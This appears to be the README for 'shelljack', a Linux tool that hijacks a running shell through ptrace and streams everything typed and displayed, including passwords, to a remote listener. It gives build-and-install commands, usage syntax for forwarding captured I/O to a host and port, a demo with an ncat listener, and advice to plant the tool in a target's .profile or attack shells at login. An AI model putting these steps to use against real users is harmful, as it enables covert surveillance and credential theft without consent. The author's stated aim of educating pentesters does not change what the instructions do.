Home

Awesome

shelljack

shelljack is a computer surveillance tool designed to capture Linux command-line interactions in real-time.

What exactly is "shelljacking"?

This is the term I use to describe a pseudo-terminal mitm attack. This technique embeds the attacker between the target user and their shell. From this position the attacker is able to inspect and capture all I/O as it crosses the terminal. This is similar to a keystroke logger, but will also return the output from the command line as well. In addition to the data being captured, it is also forwarded to a remote listener for analysis in real time.

This embedded position allows the attacker to capture all of the traffic that crosses the terminal. This includes child processes and ssh sessions to other hosts!

That's awesome! 1337 h4X0rZ rUL3!!

While I do think it's pretty neat, this really isn't "hacking". There are no exploits here. shelljack takes advantage of some Linux deep magic that is completely legitimate, although often not well understood. In order to shelljack a target, you will need the appropriate permissions to do so.

While this may not be a "sploit", it is a very handy tool designed to empower forensic analysts, pentesters, and educators.

Is this a kernel module?

No. shelljack is a user space tool.

Do I need to be root to use it?

No. You need "appropriate permissions". This means that you will need the ability to execute code on the target host either as root or as the target user.

It should be noted that Ubuntu has shiped, since version 10.10, with a patch that restricts the scope of ptrace's effectiveness. Because of this, shelljack will need root privileges for in order to work on Ubuntu.

When would I ever need this?

How does it work?

shelljack is a malicious terminal emulator that uses ptrace to insert itself between a shell and it's controlling tty.

What Architectures / OSs will this run on?

Currently, shelljack will only run on x86_64 Linux. Because shelljack uses the Linux ptrace interface to inject assembly language syscalls into a target process, nothing here is portable. That said, check out my other project, <i>ptrace_do</i>. If I get around to supporting <i>ptrace_do</i> for other architectures, then porting shelljack shouldn't be too hard.

Please tell me more about this deep magic of which you speak!

Usage

empty@monkey:~$ shelljack --help
usage: shelljack [-f FILE]|[-n HOSTNAME:PORT] PID
    -f FILE                 Send the output to a FILE. (This is particularly useful with FIFOs.)
    -n HOSTNAME:PORT        Connect to the HOSTNAME and PORT then send the output there.
    PID                     Process ID of the target process.
    NOTE: One of either -f or -n is required.

In order to properly mitm the signals generated by the controlling tty, shelljack must detach from it's original launch terminal. Because of this, you'll need to set up a listener to catch its eavesdropped output. Ncat works nicely for this. (We've chosen localhost and port 9999 here, but shelljack will happily use any address that the machine will route.)

Let's do a demo. I'll be running the tty command in these examples to demonstrate which terminal the various commands are being run in.

Start by setting up a listener:

empty@monkey:~$ tty
/dev/pts/0
empty@monkey:~$ ncat -k -l localhost 9999

Since this is a demo, let's also examine the shell we want to target:

empty@monkey:~$ tty
/dev/pts/3
empty@monkey:~$ echo $$
19716
empty@monkey:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 empty empty 64 Jun 16 16:17 0 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:18 1 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:18 2 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:18 255 -> /dev/pts/3

Now, launch shelljack against the target shell:

empty@monkey:~$ tty
/dev/pts/2
empty@monkey:~$ shelljack -n localhost:9999 19716

That was it! If we go back to the listener, we will now see all of the I/O come through the listener as it is typed into the target shell. For further evidence of this, lets examine the target shell again:

empty@monkey:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 empty empty 64 Jun 16 16:17 0 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:18 1 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:18 2 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:18 255 -> /dev/pts/4
empty@monkey:~$ ps j -u empty | grep $$
19714 19716 19716 19716 pts/4    19867 Ss    1000   0:00 -bash
    1 19782 19782 19782 pts/3    19782 Ss+   1000   0:00 shelljack localhost 9999 19716

We can see that shelljack has successfully taken over /dev/pts/3, and is serving up /dev/pts/4 for the target shell to consume. It is now in place to collect the traffic and happily forward you a copy of everything it sees, including input which normally wouldn't be "echoed" to the terminal at all. (e.g. passwords)

Also note, shelljack was designed with the ability to attack the shell that launches it. This makes it ideal to call from the target's login configuration files. (e.g. .profile)

empty@monkey:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 empty empty 64 Jun 16 16:33 0 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:33 1 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:33 2 -> /dev/pts/3
lrwx------ 1 empty empty 64 Jun 16 16:33 255 -> /dev/pts/3
empty@monkey:~$ shelljack localhost:9999 $$
empty@monkey:~$ ls -l /proc/$$/fd
total 0
lrwx------ 1 empty empty 64 Jun 16 16:33 0 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:33 1 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:33 2 -> /dev/pts/4
lrwx------ 1 empty empty 64 Jun 16 16:33 255 -> /dev/pts/4

Prerequisites

To help with the heavy lifting, I've written two supporting libraries that are both needed by shelljack:

In addition, I've also written another tool that isn't needed by shelljack, but helps with tty forensics.

Installation

git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/ctty.git
cd ctty
make
cd ..

git clone https://github.com/emptymonkey/shelljack.git
cd shelljack
make

Limitations

As noted in the tty_ioctl manpage, an existing process can only switch controlling ttys if it is a session leader. Because of this, while shelljack will be successful against the shell itself, any existing child processes will not be able to switch with it. They won't usually die during the shelljacking, but their I/O will act strangely if it relies on the tty. It is best to target shells that are semi-idle, or attack them during the login process. Note that this only affects child processes that exist at the time of the attack. New processes will inherit their parents (shelljacked) file descriptors.

Similar Works

shelljack is only the latest in a series of tools that can best be described as "Processes acting badly with ptrace." The most notable of these tools was Metlstorm's ssh-jack from 2005 which opened the door for this style of attack. Metlstorm's tool uses Python and GDB scripts to tap into an active SSH session. The Ubuntu security team added a patch to reduce the attack surface represented by ptrace as a direct response to ssh-jack.

I also came across several other projects during my research that use similar techniques to explore both ptrace code injection as well as terminal mangling. If this is an area that interests you, these other projects are also worth studying.

A Quick Note on Ethics

I write and release these tools with the intention of educating the larger IT community and empowering legitimate pentesters. If I can write these tools in my spare time, then rest assured that the dedicated malicious actors have already developed versions of their own.